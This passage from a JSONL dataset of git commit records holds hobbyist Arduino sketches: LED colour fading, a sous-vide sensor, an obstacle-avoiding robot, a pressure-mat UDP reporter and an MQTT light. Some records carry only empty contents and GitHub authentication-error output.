targeted_tick(Ticker *t, unsigned long tick)\n{\n\t\/\/ speed_adjust keeps us from ticking on certain cycles\n\tif (tick % (1 << t->speed_adjust)) {return;}\n\n\tTickerRgb* current = &t->current;\n\tTickerRgb* target = &t->targets[0];\n\tTickerRgb minima = t->targets[1];\n\tTickerRgb maxima = t->targets[2];\n\tint step_size = t->offset;\n\n\tif ( current->red == target->red\n\t\t&& current->green == target->green\n\t\t&& current->blue == target->blue)\n\t{\n\t\t\/\/ We've reached the target! Pick a new one.\n\t\ttarget->red = random(minima.red, maxima.red);\n\t\ttarget->green = random(minima.green, maxima.green);\n\t\ttarget->blue = random(minima.blue, maxima.blue);\n\t\t\/\/ And just for fun let's also randomize the fade speed!\n\t\tt->offset = skew(random(1, 100), 5, 50, 100);\n\t\tt->speed_adjust = random(0, 1);\n\t}\n\t\/\/ Still working towards the target. Take a step in the right direction\n\t\/\/ TODO: Should we adjust the step sizes so that each channel reaches\n\t\/\/ its target at the same time?\n\tcurrent->red += stepToward(target->red, current->red, step_size);\n\tcurrent->green += stepToward(target->green, current->green, step_size);\n\tcurrent->blue += stepToward(target->blue, current->blue, step_size);\n}\n\n\/*** HELPER FUNCTIONS ***\/\n\n\/*\n * Given a target value, current value, and step size, calculate the value to\n * add to the current value to move it towards its target by the step size\n * without going past the target.\n *\/\nint16_t stepToward(int16_t target, int16_t current, int step_size)\n{\n\tint16_t delta = target - current;\n\tdelta = abs(delta);\n\n\tint direction = 0;\n\tif (target > current) {direction = 1;}\n\tif (target < current) {direction = -1;}\n\n\treturn (delta > step_size ? step_size : delta) * direction;\n}\n\n\/*\n * This is the gamma correction function that I included a lookup table for in\n * shiftbrite.h. It's used here to map a uniform distribution to something skewed\n * heavily towards the low end.\n *\n * Basically I want my targeting Tickers to fade slowly most of the time but do a\n * really quick flicker every once in a while.\n *\/\nint16_t skew(int16_t x, int16_t exponent, int16_t max_out, int16_t range)\n{\n\treturn (int16_t)(pow((float)x \/ (float)range, exponent) * max_out + 1);\n}\n\n\/*\n * This function converts an HSV value into an RGB value.\n * Code taken from StackOverflow user DavidH:\n * http:\/\/stackoverflow.com\/questions\/3018313\/algorithm-to-convert-rgb-to-hsv-and-hsv-to-rgb-in-range-0-255-for-both\n *\/\nTickerRgb hsv2rgb(double hue, double sat, double value)\n{\n\tdouble sextant, chroma, q, t, ff;\n\tdouble red, blue, green;\n\tlong i;\n\tTickerRgb out;\n\n\tif(sat <= 0.0) {\n\t\tred = value;\n\t\tgreen = value;\n\t\tblue = value;\n\t\treturn out;\n\t}\n\n\tsextant = hue;\n\tif(sextant >= 360.0) sextant = 0.0;\n\tsextant \/= 60.0;\n\ti = (long)sextant;\n\tff = sextant - i;\n\tchroma = value * (1.0 - sat);\n\tq = value * (1.0 - (sat * ff));\n\tt = value * (1.0 - (sat * (1.0 - ff)));\n\n\tswitch(i) {\n\t\tcase 0:\n\t\t\tred = value;\n\t\t\tgreen = t;\n\t\t\tblue = chroma;\n\t\t\tbreak;\n\t\tcase 1:\n\t\t\tred = q;\n\t\t\tgreen = value;\n\t\t\tblue = chroma;\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tred = chroma;\n\t\t\tgreen = value;\n\t\t\tblue = t;\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\tred = chroma;\n\t\t\tgreen = q;\n\t\t\tblue = value;\n\t\t\tbreak;\n\t\tcase 4:\n\t\t\tred = t;\n\t\t\tgreen = chroma;\n\t\t\tblue = value;\n\t\t\tbreak;\n\t\tcase 5:\n\t\tdefault:\n\t\t\tred = value;\n\t\t\tgreen = chroma;\n\t\t\tblue = q;\n\t\t\tbreak;\n\t}\n\tout.red = (int16_t)(red * 1023);\n\tout.green = (int16_t)(green * 1023);\n\tout.blue = (int16_t)(blue * 1023);\n\treturn out;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tick_demos.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"16fe0794b6bc4b1353c514201bf283365dff1c73","subject":"Nonce pool should be post-incremented instead of pre-incremented","message":"Nonce pool should be post-incremented instead of pre-incremented\n\nSigned-off-by: Edi Permadi <163b49ac0c44ca5b49677bf42f3f8680b3bd9867@gmail.com>\n","repos":"edipermadi\/teensy-hsm,edipermadi\/teensy-hsm","old_file":"teensy-hsm\/nonce_pool.ino","new_file":"teensy-hsm\/nonce_pool.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/edipermadi\/teensy-hsm.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"047e1a3031678a8a5ad5592cd009a104a178d9ac","subject":"improved error handling for nduino comm","message":"improved error handling for nduino comm\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/src\/src.ino","new_file":"nduino\/src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"773e66e2871f049351085ac895fce7e37f519c7c","subject":"fixed TX_REPEAT typo in nduino","message":"fixed TX_REPEAT typo in nduino\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/src\/src.ino","new_file":"nduino\/src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"4c4258b44c89a627aa8614af54de06664f3c8ed5","subject":"Basic one-wire temperature sensor sketch","message":"Basic one-wire temperature sensor sketch\n","repos":"czyz\/bean-sous-vide-with-OLED-and-PID,mplewis\/bean-sous-vide","old_file":"sous_vide_arduino\/sous_vide_arduino.ino","new_file":"sous_vide_arduino\/sous_vide_arduino.ino","new_contents":"#include <OneWire.h>\n#include <DallasTemperature.h>\n\n\/\/ Data wire is plugged into port 2 on the Arduino\n#define ONE_WIRE_BUS 2\n\n\/\/ State variables\nbool enabled = false;\nbyte targetTempF = 0;\n\n\/\/ Setup a oneWire instance to communicate with OneWire devices\nOneWire oneWire(ONE_WIRE_BUS);\n\n\/\/ Pass our oneWire reference to the Dallas Temperature library\nDallasTemperature sensors(&oneWire);\nDeviceAddress thermometer;\n\nvoid setup()\n{\n Serial.begin(9600);\n \n sensors.begin();\n if (!sensors.getAddress(thermometer, 0)) {\n Serial.println(\"Unable to find address for Device 0\");\n }\n\n sensors.setResolution(thermometer, 9);\n}\n\nfloat temperature()\n{\n return DallasTemperature::toFahrenheit(sensors.getTempC(thermometer));\n}\n\nvoid loop()\n{\n \/\/ Wait for serial data\n while (!Serial.available());\n byte cmd = Serial.read();\n if (cmd == '0') {\n \/\/ 0: Get status\n \/\/ Send the command to get temperatures\n sensors.requestTemperatures();\n \/\/ Print the received temperature\n Serial.print(\"Enabled: \");\n Serial.print(enabled);\n Serial.print(\", temp F: \");\n Serial.print(temperature());\n Serial.print(\", target F: \");\n Serial.println(targetTempF);\n } else if (cmd == '1') {\n \/\/ 1: Turn on heater\n enabled = true;\n Serial.println(\"Heater on\");\n } else if (cmd == '2') {\n \/\/ 2: Turn off heater\n enabled = false;\n Serial.println(\"Heater off\");\n } else if (cmd == '3') {\n \/\/ 3: Set target temperature\n while (!Serial.available());\n targetTempF = Serial.read();\n Serial.print(\"Set temp to \");\n Serial.println(targetTempF);\n } else {\n while (Serial.available()) {\n Serial.read();\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sous_vide_arduino\/sous_vide_arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d609ac9b362477146ec81903b4b0e6fe5ee450fc","subject":"Issue #2 Debugging for every action and state of the device","message":"Issue #2 Debugging for every action and state of the device\n","repos":"franciscoalario\/GoldenAnt,franciscoalario\/GoldenAnt,franciscoalario\/GoldenAnt","old_file":"soil_moisture\/soil_moisture.ino","new_file":"soil_moisture\/soil_moisture.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/franciscoalario\/GoldenAnt.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"631b57cb3bc0b0851882608c0921c1f791613e81","subject":"added example files","message":"added example files\n","repos":"penguindustin\/ARI_2016_Codebase","old_file":"arduino\/RobotArmServo\/examples\/ExampleUse\/ExampleUse.ino","new_file":"arduino\/RobotArmServo\/examples\/ExampleUse\/ExampleUse.ino","new_contents":"#include <Servo.h>\n#include <RobotArm.h>\n\nRobotArm arm(1,2,3,4,5);\n\nvoid setup() {\n}\n\nvoid loop() {\n arm.updateJoint(RobotArm::BASE,125);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/RobotArmServo\/examples\/ExampleUse\/ExampleUse.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cd44cba50c13501f6b84d78ebf12dfb0d4abad25","subject":"Kill interrupts during reading an math period.","message":"Kill interrupts during reading an math period.","repos":"spoollord\/MyOurWeather,spoollord\/MyOurWeather","old_file":"MyOurWeather.ino","new_file":"MyOurWeather.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/spoollord\/MyOurWeather.git\/'\n","license":"isc","lang":"Arduino"} {"commit":"9ea7f470964f3fbd1fccb447672e79a09422c385","subject":"Add updated sketch with range detection average","message":"Add updated sketch with range detection average\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/self-driving-v5.ino","new_file":"testing\/arduino\/self-driving-v5.ino","new_contents":"#include \"Arduino.h\"\n#include \"Adafruit_NeoPixel.h\"\n#include \"Servo.h\"\n\n\/\/ Base Date\nconst uint8_t initialDelay = 2500;\n\n\/\/ Ranges and Data\nconst uint8_t rangeLimit_Warning1 = 50;\nconst uint8_t rangeLimit_Warning2 = 40;\nconst uint8_t rangeLimit_Warning3 = 25;\nconst uint8_t rangeLimit_Stop = 15;\n\nconst uint16_t rangeLimit_RotateFor = 500;\nunsigned long rangeLimit_Timestamp = 0;\nbool wheelSpinCompleted = true;\n\n\n\/\/ Ultrasonic Sensor\nconst uint8_t trigPin = 9;\nconst uint8_t echoPin = 10;\n\nlong rangeData_Left[15];\nlong average_Left;\nlong rangeData_Center[10];\nlong average_Center;\nlong rangeData_Right[15];\nlong average_Right;\nuint8_t rangeDataIndex = 0;\n\n\/\/ LED\nconst uint8_t ledPin = 11;\nconst bool ledBatterySaving = true;\nAdafruit_NeoPixel LEDStrip = Adafruit_NeoPixel(26, ledPin, NEO_GRB + NEO_KHZ800);\n\n\/\/ Motor \/ Wheels\nconst uint8_t motorPin1_1 = 4;\nconst uint8_t motorPin1_2 = 5;\n\nconst uint8_t motorPin2_1 = 7;\nconst uint8_t motorPin2_2 = 8;\n\nconst uint8_t motorEnablePin = 3;\n\n\/\/ Ultrasonic Servo\nServo ServoMotor;\nconst uint8_t servoPin = 6;\nconst uint8_t servoRotationAngel = 10;\n\nenum direction {\n left,\n center,\n right\n};\n\nuint8_t servoPos = 90;\ndirection servoMovement = right;\ndirection servoLocation = center;\n\n\nvoid setup()\n{\n \/\/ Scanner\n pinMode(trigPin, OUTPUT); \/\/ Sets the trigPin as an Output\n pinMode(echoPin, INPUT); \/\/ Sets the echoPin as an Input\n\n rangeLimit_Timestamp = millis();\n\n pinMode(motorEnablePin, OUTPUT);\n analogWrite(motorEnablePin, 255);\n\n \/\/ Motor\n pinMode(motorPin1_1, OUTPUT);\n pinMode(motorPin1_2, OUTPUT);\n\n pinMode(motorPin2_1, OUTPUT);\n pinMode(motorPin2_2, OUTPUT);\n\n Serial.begin(9600); \/\/ Starts the serial communication\n\n LEDStrip.begin();\n LEDStrip.show(); \/\/ Initialize all pixels to 'off'\n\n \/\/ attach servo pin and set to initial direction\n ServoMotor.attach(servoPin);\n ServoMotor.write(servoPos);\n}\n\n\nlong MicrosecondsToCentimeters(long microseconds)\n{\n return microseconds \/ 29 \/ 2;\n}\n\n\n\/\/ Use library to minimize delay\nlong GetUltrasoundRange()\n{\n digitalWrite(trigPin, LOW);\n delayMicroseconds(2);\n\n digitalWrite(trigPin, HIGH);\n delayMicroseconds(10);\n digitalWrite(trigPin, LOW);\n\n long duration = pulseIn(echoPin, HIGH);\n\n \/\/ convert the time into a distance\n return MicrosecondsToCentimeters(duration);\n}\n\nvoid CalculateAverageRange()\n{\n long range = GetUltrasoundRange();\n long **rangeData_Current;\n\n \/\/ get current meassurement and add to array\n if(servoLocation == left)\n {\n rangeData_Left[rangeDataIndex++] = range;\n rangeData_Current = rangeData_Left;\n }\n\n if(servoLocation == center)\n {\n rangeData_Center[rangeDataIndex++] = range;\n rangeData_Current = rangeData_Center;\n }\n\n if(servoLocation == right)\n {\n rangeData_Right[rangeDataIndex++] = range;\n rangeData_Current = rangeData_Right;\n }\n\n direction servoLocationLast = servoLocation;\n direction servoMovementLast = servoMovement;\n\n \/\/ Get the next Angle and Move the Servo\n ServoMotor.write(GetNextServoAngle());\n\n \/\/ if the new servo location is different from the one before calculate an anverage\n if(servoLocation != servoLocationLast || servoMovement != servoMovementLast)\n {\n long summedUp = 0;\n for (int i = 0; i < rangeDataIndex; i++)\n {\n summedUp += rangeData_Current[i];\n rangeData_Current[i] = 0;\n }\n\n long average = summedUp\/rangeDataIndex;\n if(servoLocationLast == left) { average_Left = average; }\n if(servoLocationLast == center) { average_Center = average; }\n if(servoLocationLast == right) { average_Right = average; }\n\n rangeDataIndex = 0;\n }\n}\n\n\nvoid SetMotor(int pin1, int pin2, int speed)\n{\n if (speed < 0)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 255);\n }\n else\n {\n analogWrite(pin1, 255);\n analogWrite(pin2, 0);\n }\n\n if (speed == 0)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 0);\n }\n}\n\n\nvoid ColorSet(uint32_t c)\n{\n for(uint16_t i=0; i < LEDStrip.numPixels(); i++)\n {\n if(ledBatterySaving && i%4 == 0 || !ledBatterySaving)\n {\n LEDStrip.setPixelColor(i, c);\n }\n }\n LEDStrip.show();\n}\n\n\nuint8_t GetNextServoAngle()\n{\n \/\/ 0 - 80 \/ 80 - 100 \/ 100 - 180\n if(servoPos <= 0)\n {\n servoMovement = right;\n servoPos = 0;\n }\n\n if(servoPos >= 180)\n {\n servoMovement = left;\n servoPos = 180;\n }\n\n\n if(servoMovement == right)\n {\n servoPos += servoRotationAngel;\n }\n else\n {\n servoPos -= servoRotationAngel;\n }\n\n\n if(servoPos < 80)\n {\n servoLocation = left;\n }\n\n if(servoPos >= 80 && servoPos <= 100)\n {\n servoLocation = center;\n }\n\n if(servoPos > 100)\n {\n servoLocation = right;\n }\n\n return servoPos;\n}\n\n\nvoid SetLightByRange(long range)\n{\n uint32_t color = LEDStrip.Color(0, 255, 0);\n if(range < rangeLimit_Warning1) { color = LEDStrip.Color(127, 255, 0);}\n if(range < rangeLimit_Warning2) { color = LEDStrip.Color(255, 255, 0); }\n if(range < rangeLimit_Warning3) { color = LEDStrip.Color(255, 127, 0); }\n if(range < rangeLimit_Stop) { color = LEDStrip.Color(255, 0, 0); }\n\n ColorSet(color);\n}\n\nvoid ErrorState()\n{\n ColorSet(LEDStrip.Color(0, 0, 255));\n\n SetMotor(motorPin1_1, motorPin1_2, 0);\n SetMotor(motorPin2_1, motorPin2_2, 0);\n}\n\nvoid loop()\n{\n\n CalculateAverageRange();\n\n \/*\n average_Left\n average_Center\n average_Right\n *\/\n\n long range = average_Center;\n\n SetLightByRange(range);\n\n if(millis() < initialDelay)\n {\n return;\n }\n\n \/\/ maybe wait for x seconds before starting so a full\n \/\/ left center right scan can be performed first\n\n\n \/\/ obstacle is further away than X cm\n if(wheelSpinCompleted && range > rangeLimit_Stop)\n {\n \/\/ drive\n SetMotor(motorPin1_1, motorPin1_2, 255);\n SetMotor(motorPin2_1, motorPin2_2, 255);\n\n rangeLimit_Timestamp = millis();\n }\n else\n {\n\n \/\/ TODO\n\n \/\/ rotate\n SetMotor(motorPin1_1, motorPin1_2, -255);\n SetMotor(motorPin2_1, motorPin2_2, 255);\n\n wheelSpinCompleted = false;\n\n if(range > rangeLimit_Warning3 && (rangeLimit_Timestamp + rangeLimit_RotateFor) <= millis())\n {\n wheelSpinCompleted = true;\n }\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/self-driving-v5.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e797716035389a1ebb13b7fb1eeb160032248d2c","subject":"Pressure Mat code for MOAD","message":"Pressure Mat code for MOAD\n","repos":"TheThingSystem\/steward,TheThingSystem\/steward,estbeetoo\/steward,TheThingSystem\/steward,mwittig\/steward,mwittig\/steward,mwittig\/steward,estbeetoo\/steward,mwittig\/steward,TheThingSystem\/steward,TheThingSystem\/steward,estbeetoo\/steward,estbeetoo\/steward,mwittig\/steward,mwittig\/steward,TheThingSystem\/steward,TheThingSystem\/steward,TheThingSystem\/steward,estbeetoo\/steward,estbeetoo\/steward,mwittig\/steward,estbeetoo\/steward,estbeetoo\/steward,estbeetoo\/steward,mwittig\/steward,TheThingSystem\/steward,mwittig\/steward","old_file":"things\/examples\/arduino\/PressureMat\/PressureMat\/PressureMat.ino","new_file":"things\/examples\/arduino\/PressureMat\/PressureMat\/PressureMat.ino","new_contents":"#include <Dhcp.h>\n#include <Dns.h>\n#include <Ethernet.h>\n#include <EthernetClient.h>\n#include <EthernetServer.h>\n#include <EthernetUdp.h>\n#include <util.h>\n\n#include <SPI.h>\n\nint requestID = 1;\n\n\/\/ The MAC address of your Ethernet board (or Ethernet Shield) is located on the back of the curcuit board.\nbyte mac[] = { 0x0, 0xA2, 0xDA, 0x0D, 0x90, 0xE2 }; \/\/ Arduino Ethernet\n\nchar packetBuffer[512];\n\nPROGMEM prog_char *loopPacket1 = \"{\\\"path\\\":\\\"\/api\/v1\/thing\/reporting\\\",\\\"requestID\\\":\\\"\";\nPROGMEM prog_char *loopPacket2 = \"\\\",\\\"things\\\":{\\\"\/device\/sensor\/arduino\/mat\\\":{\\\"prototype\\\":{\\\"device\\\":{\\\"name\\\":\\\"60# pressure mat (902PR)\\\",\\\"maker\\\":\\\"United Security Products\\\"},\\\"name\\\":\\\"true\\\",\\\"status\\\":[\\\"present\\\",\\\"absent\\\",\\\"recent\\\"],\\\"properties\\\":{\\\"pressure\\\":[\\\"on\\\",\\\"off\\\"]}},\\\"instances\\\":[{\\\"name\\\":\\\"Pressure Mat\\\",\\\"status\\\":\\\"present\\\",\\\"unit\\\":{\\\"serial\\\":\\\"\";\nPROGMEM prog_char *loopPacket3 = \"\\\",\\\"udn\\\":\\\"195a42b0-ef6b-11e2-99d0-\";\nPROGMEM prog_char *loopPacket4 = \"-mat\\\"},\\\"info\\\":{\\\"pressure\\\":\\\"\";\nPROGMEM prog_char *loopPacket5 = \"\\\"},\\\"uptime\\\":\\\"\";\nPROGMEM prog_char *loopPacket6 = \"\\\"}]}}}\";\n\n\/\/ All TSRP transmissions are via UDP to port 22601 on multicast address '224.192.32.19'.\nEthernetUDP udp;\nIPAddress ip(224,192,32,19);\nunsigned int port = 22601; \n\nconst int buttonPin = 7;\nint buttonState; \nint lastButtonState = LOW;\nint sentPacket = 0;\n\nlong lastDebounceTime = 0; \nlong debounceDelay = 50; \n\nvoid setup() {\n pinMode(buttonPin, INPUT);\n \n Serial.begin(9600);\n Serial.println(\"Starting...\");\n while(!Serial) { }\n \n Serial.println(\"Waiting for DHCP address.\");\n if (Ethernet.begin(mac) == 0) {\n Serial.println(\"Error: Failed to configure Ethernet using DHCP\");\n while(1) { }\n } \n \n Serial.print(\"MAC address: \");\n for (byte thisByte = 0; thisByte < 6; thisByte++) {\n Serial.print(mac[thisByte], HEX);\n Serial.print(\":\"); \n }\n Serial.println();\n \n Serial.print(\"IP address: \");\n for (byte thisByte = 0; thisByte < 4; thisByte++) {\n Serial.print(Ethernet.localIP()[thisByte], DEC);\n Serial.print(\".\"); \n }\n Serial.println();\n \n udp.beginMulti(ip,port);\n\n}\n\nvoid loop() {\n int reading = digitalRead(buttonPin);\n \n if (reading != lastButtonState) {\n lastDebounceTime = millis();\n } \n if ((millis() - lastDebounceTime) > debounceDelay) {\n buttonState = reading;\n \/\/Serial.print( \"Button state = \" );\n \/\/Serial.println( buttonState );\n if ( buttonState && !sentPacket ) {\n Serial.println(\"Sending pressure = on\"); \n sentPacket = 1;\n requestID = requestID + 1;\n \n char buffer[12];\n strcpy(packetBuffer,(char*)pgm_read_word(&loopPacket1) );\n strcat(packetBuffer, itoa( requestID, buffer, 10) );\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket2) );\n for (byte thisByte = 0; thisByte < 6; thisByte++) {\n sprintf(buffer, \"%x\", mac[thisByte] );\n strcat(packetBuffer, buffer); \n } \n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket3) );\n for (byte thisByte = 0; thisByte < 6; thisByte++) {\n sprintf(buffer, \"%x\", mac[thisByte] );\n strcat(packetBuffer, buffer); \n } \n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket4) );\n strcat(packetBuffer, \"on\");\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket5) );\n strcat(packetBuffer, itoa( millis()\/1000, buffer, 10) );\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket6) );\n\n Serial.println(packetBuffer); \n udp.beginPacket(udp.remoteIP(), udp.remotePort());\n udp.write(packetBuffer);\n udp.endPacket(); \n \n } else if ( !buttonState && !sentPacket ) {\n Serial.println(\"Sending pressure = off\"); \n sentPacket = 1; \n requestID = requestID + 1;\n \n char buffer[12];\n strcpy(packetBuffer,(char*)pgm_read_word(&loopPacket1) );\n strcat(packetBuffer, itoa( requestID, buffer, 10) );\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket2) );\n for (byte thisByte = 0; thisByte < 6; thisByte++) {\n sprintf(buffer, \"%x\", mac[thisByte] );\n strcat(packetBuffer, buffer); \n } \n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket3) );\n for (byte thisByte = 0; thisByte < 6; thisByte++) {\n sprintf(buffer, \"%x\", mac[thisByte] );\n strcat(packetBuffer, buffer); \n } \n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket4) );\n strcat(packetBuffer, \"off\");\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket5) );\n strcat(packetBuffer, itoa( millis()\/1000, buffer, 10) );\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket6) );\n\n Serial.println(packetBuffer); \n udp.beginPacket(udp.remoteIP(), udp.remotePort());\n udp.write(packetBuffer);\n udp.endPacket(); \n \n }\n \n \n }\n \n if ( lastButtonState != reading ) {\n sentPacket = 0; \n } \n lastButtonState = reading;\n\n \n \/* \n \n char buffer[12];\n \n strcpy(packetBuffer,(char*)pgm_read_word(&loopPacket1) );\n strcat(packetBuffer, itoa( requestID, buffer, 10) );\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket2) );\n for (byte thisByte = 0; thisByte < 6; thisByte++) {\n sprintf(buffer, \"%x\", mac[thisByte] );\n strcat(packetBuffer, buffer); \n } \n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket3) );\n for (byte thisByte = 0; thisByte < 6; thisByte++) {\n sprintf(buffer, \"%x\", mac[thisByte] );\n strcat(packetBuffer, buffer); \n } \n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket4) );\n strcat(packetBuffer, dtostrf(t,4,2,buffer));\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket5) );\n strcat(packetBuffer, dtostrf(h,4,2,buffer));\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket6) );\n strcat(packetBuffer, itoa( millis()\/1000, buffer, 10) );\n strcat(packetBuffer,(char*)pgm_read_word(&loopPacket7) );\n\n Serial.println(packetBuffer); \n udp.beginPacket(udp.remoteIP(), udp.remotePort());\n udp.write(packetBuffer);\n udp.endPacket();\n \n *\/\n \n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'things\/examples\/arduino\/PressureMat\/PressureMat\/PressureMat.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"26743ed8aca3555cb8091e323bb0b3a28dfbcdcc","subject":"add new Arilux example","message":"add new Arilux example\n","repos":"mertenats\/Open-Home-Automation,mertenats\/Open-Home-Automation","old_file":"ha_mqtt_light_arilux\/ha_mqtt_light_arilux.ino","new_file":"ha_mqtt_light_arilux\/ha_mqtt_light_arilux.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <ArduinoOTA.h>\n#include <PubSubClient.h> \/\/ https:\/\/github.com\/knolleary\/pubsubclient\n#include <ArduinoJson.h> \/\/ https:\/\/github.com\/bblanchon\/ArduinoJson\n#include <WS2812FX.h> \/\/ https:\/\/github.com\/kitesurfer1404\/WS2812FX\n\n#include \"config.h\"\n\nstruct RGBW {\n uint8_t red;\n uint8_t green;\n uint8_t blue;\n uint8_t white;\n bool isWhiteSelected;\n uint8_t brightness;\n};\n\nWiFiClient wifiClient;\nPubSubClient mqttClient(wifiClient);\nWS2812FX ws2812fx = WS2812FX(1, NULL, NEO_RGBW);\nRGBW rgbw = {PWM_MIN,PWM_MIN,PWM_MIN,PWM_MIN,false,PWM_MAX};\n\nlong lastReconnectAttempt = 0;\nbool newStateToPublish = false;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ LIGHT\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\nuint8_t getRedValueFromRGB(uint32_t p_color) {return p_color >> 16;}\nuint8_t getGreenValueFromRGB(uint32_t p_color) {return p_color >> 8;}\nuint8_t getBlueValueFromRGB(uint32_t p_color) {return p_color;}\n\nvoid customShow(void) {\n \/\/ get the current color \n uint32 rgb = ws2812fx.getPixelColor(0);\n \n \/\/ retrieve the value for each channel\n rgbw.red = getRedValueFromRGB(rgb);\n rgbw.green = getGreenValueFromRGB(rgb);\n rgbw.blue = getBlueValueFromRGB(rgb);\n \n \/\/ set each channel with the new value\n analogWrite(RED_PIN, map(rgbw.red, PWM_MIN, PWM_MAX, PWM_MIN, rgbw.brightness));\n analogWrite(GREEN_PIN, map(rgbw.green, PWM_MIN, PWM_MAX, PWM_MIN, rgbw.brightness));\n analogWrite(BLUE_PIN, map(rgbw.blue, PWM_MIN, PWM_MAX, PWM_MIN, rgbw.brightness));\n analogWrite(WHITE_PIN, map(rgbw.white, PWM_MIN, PWM_MAX, PWM_MIN, rgbw.brightness));\n}\n\nvoid setupLight(void) {\n \/\/ set the pins as output\n pinMode(RED_PIN, OUTPUT);\n pinMode(GREEN_PIN, OUTPUT);\n pinMode(BLUE_PIN, OUTPUT);\n pinMode(WHITE_PIN, OUTPUT);\n \n analogWriteFreq(PWM_FREQUENCY);\n analogWriteRange(PWM_MAX);\n\n ws2812fx.init();\n ws2812fx.setColor(GREEN);\n ws2812fx.stop();\n ws2812fx.setCustomShow(customShow);\n}\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ 